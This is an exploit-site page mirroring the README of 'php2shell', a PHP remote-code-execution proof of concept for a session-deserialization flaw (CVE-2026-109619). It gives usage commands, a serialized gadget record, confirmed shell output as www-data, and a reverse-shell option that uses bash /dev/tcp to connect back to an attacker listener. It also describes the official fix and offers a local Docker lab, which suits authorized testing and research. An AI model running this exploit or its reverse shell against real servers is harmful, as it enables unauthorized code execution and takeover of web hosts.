Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php

> For authorized security testing only. The included preload gadget is
> deliberately vulnerable. Never deploy it to a production web root. Do not
> run this against systems you do not own or have written permission to test.
> The reverse-shell option sends a real payload that connects from the target
This is the **CVE-2026-109619 session path**, not the original counter-pointer
PoC. It does not use `zend_call_function`, heap grooming, or a `--dtor`
- **Affected:** PHP before the fixed releases below.
- **Fixed:** PHP **8.5.12**, **8.4.27**, **8.3.36**, **8.2.35**.
- **Lab-confirmed with this PoC:** PHP 8.5.4-FPM and 8.4.26; the same session
path also reproduced on 8.3.35 in the version matrix.
- **Not covered:** the CVE-2026-109618 OOM corruption chain.
The PoC is a single Python 3.8+ script with no third-party dependencies. The
included lab needs Docker Engine or Docker Desktop with Compose v2.
1. Unpatched PHP with `session.upload_progress.enabled=On` and
2. A gadget class available before RINIT. The lab uses
`opcache.preload`; a framework class with a usable `__wakeup()` /
3. A session record containing the serialized gadget for a known session id.
The Docker mode seeds it locally; for a real target you need an authorized
4. `session.serialize_handler=php` (the default). The record format used here
git clone
docker compose -f lab/docker-compose.yml up -d
python3 php2shell.py -c 'id; whoami; uname -a'
The lab runs PHP 8.5.4-FPM behind nginx on `127.0.0.1:8899`, with the gadget
preloaded and `/tmp` as the session save path. The PoC seeds the session
inside the container, sends the multipart request, and reads the marker.
███ █ █ ███ ███ ████ █ █ ████ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █
███ ████ ███ ███ ███ ████ ███ █ █
█ █ █ █ █ █ █ █ █ █ █
█ █ █ █ ████ ████ █ █ ████ ████ ████
CVE-2026-109619 // PRE-RINIT SESSION DESERIALIZATION
authorized lab use only // patched 2026-10-21
source
── TARGET ──────────────────────────────────────────────────
payload shell_exec: id; whoami; uname -a
── EXECUTION ───────────────────────────────────────────────
trigger multipart POST with PHP_SESSION_UPLOAD_PROGRESS
╔════════════════════════════════════════════════════════════╗
║ [+] RCE CONFIRMED ║
║ __wakeup() executed before RINIT ║
╚════════════════════════════════════════════════════════════╝
── SHELL OUTPUT ────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
To test another vulnerable branch, change the image tag in
`lab/docker-compose.yml` to `php:8.4.26-fpm` or `php:8.3.35-fpm` and restart.
The fixed `php:8.5.12-fpm` image is the negative control.
This mode opens an **interactive reverse shell back to the attacker's
machine**: the target connects out to the listener you run, giving you command
execution as the PHP user (typically `www-data`). The PoC does not start a
listener. Open one on the machine you control first:
# terminal 2 — from the repo, targeting the local lab
For a remote dev/pre-prod host, use an address the target can reach and pass
For a remote target, `203.0.113.10` is the attacker machine's VPN/LAN address
or an authorized tunnel, and inbound TCP to the listener must be allowed. In
the Docker lab, a bare port such as `--reverse 4444` targets
`host.docker.internal`, which Compose maps to the host; that name is not
available from a remote target. The payload uses `bash` and `/dev/tcp`; the
target must have bash and permit outbound TCP.
-u, --url URL target endpoint (default:
-c, -command, --command command executed by the gadget
--reverse [LHOST:]LPORT send a reverse shell instead of a command
--container NAME PHP container for seeding and marker reads
--session-dir PATH session.save_path inside the container (default: /tmp)
--sid SID session id (random by default)
--no-seed skip Docker; use an already-seeded session
--allow-remote permit a non-loopback target
--timeout SECONDS HTTP timeout (default: 30)
--verbose print the exact serialized session record
--no-color disable colors and the banner
Colors and the banner are enabled only on an interactive terminal. Piped
output is plain; `NO_COLOR=1` or `--no-color` forces plain output.
The PoC prints the exact serialized record in `--no-seed` mode and with
`--verbose`. In `--no-seed` mode, use that record to plant the session
yourself and rely on the framed `PHP2SHELL-BEGIN ... PHP2SHELL-END` output,
or read `/tmp/php2shell_rce.txt` if you have file access. The marker is more
reliable when the application discards pre-script output.
The release serializes `Php2ShellProbe->cmd`. If you have a different
preloaded gadget, change the `CLASS` and `SESSION_PROPERTY` constants at the
top of `php2shell.py` to match its class and property names.
1. The session file contains `evil|O:14:"Php2ShellProbe":...` for the chosen
2. The multipart request carries `PHPSESSID` and
`PHP_SESSION_UPLOAD_PROGRESS`; PHP's RFC1867 handler processes the upload
3. The handler initializes the session and deserializes the record. On
vulnerable PHP the preloaded class is instantiated and `__wakeup()` runs.
4. The lab gadget runs `shell_exec($cmd)`, writes a marker, and echoes the
The official fix adds `in_rfc1867_update`, resets session globals at
`MULTIPART_EVENT_START`, and decodes objects as `__PHP_Incomplete_Class`
while the progress update runs. Patched builds do not invoke the gadget.
- **HTTP 200 but no output:** the application may discard output produced
before the script. In Docker mode use the marker; otherwise use a reverse
shell or another out-of-band signal, because a missing frame alone does not
- **NOT CONFIRMED:** verify the PHP version, `session.upload_progress.enabled`,
`file_uploads`, the preload class, `session.save_path` ownership, the
serializer, and that `shell_exec` is enabled.
- **Cannot reach container:** start the lab, or use `--no-seed` with an
- **Wrong session path:** the lab uses `/tmp`; on another target read
`session.save_path` with `php -i | grep session.save_path` and pass it to
- **Reverse shell does not connect:** confirm the listener is reachable from
the target, the host is not `host.docker.internal` for a remote target,
outbound TCP is allowed, and bash exists.
- **`php_serialize` targets:** this release uses the default `php` handler.
`a:1:{s:4:"evil";O:14:"Php2ShellProbe":...}`.
See [CREDITS.md](CREDITS.md). In short: the vulnerability was originally discovered by **lcfr** ([@lcfr_hax]( The session-path PoC, gadget, and lab in this folder were written for this project; no third-party exploit code is included. The counter-pointer `--dtor` PoC by **jackalsyn** (the working repository's `poc_109618.py`) is acknowledged but not shipped, because the assumed free does not occur in PHP 8.5.4. The 0x4148 and flatt.tech writeups were consulted as independent analysis only.
docker compose -f lab/docker-compose.yml down
`docker compose down` removes the PHP container, including the planted
session and marker. To clear them while the lab is still running:
docker exec php2shell-poc-php rm -f /tmp/sess_ /tmp/php2shell_rce.txt
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
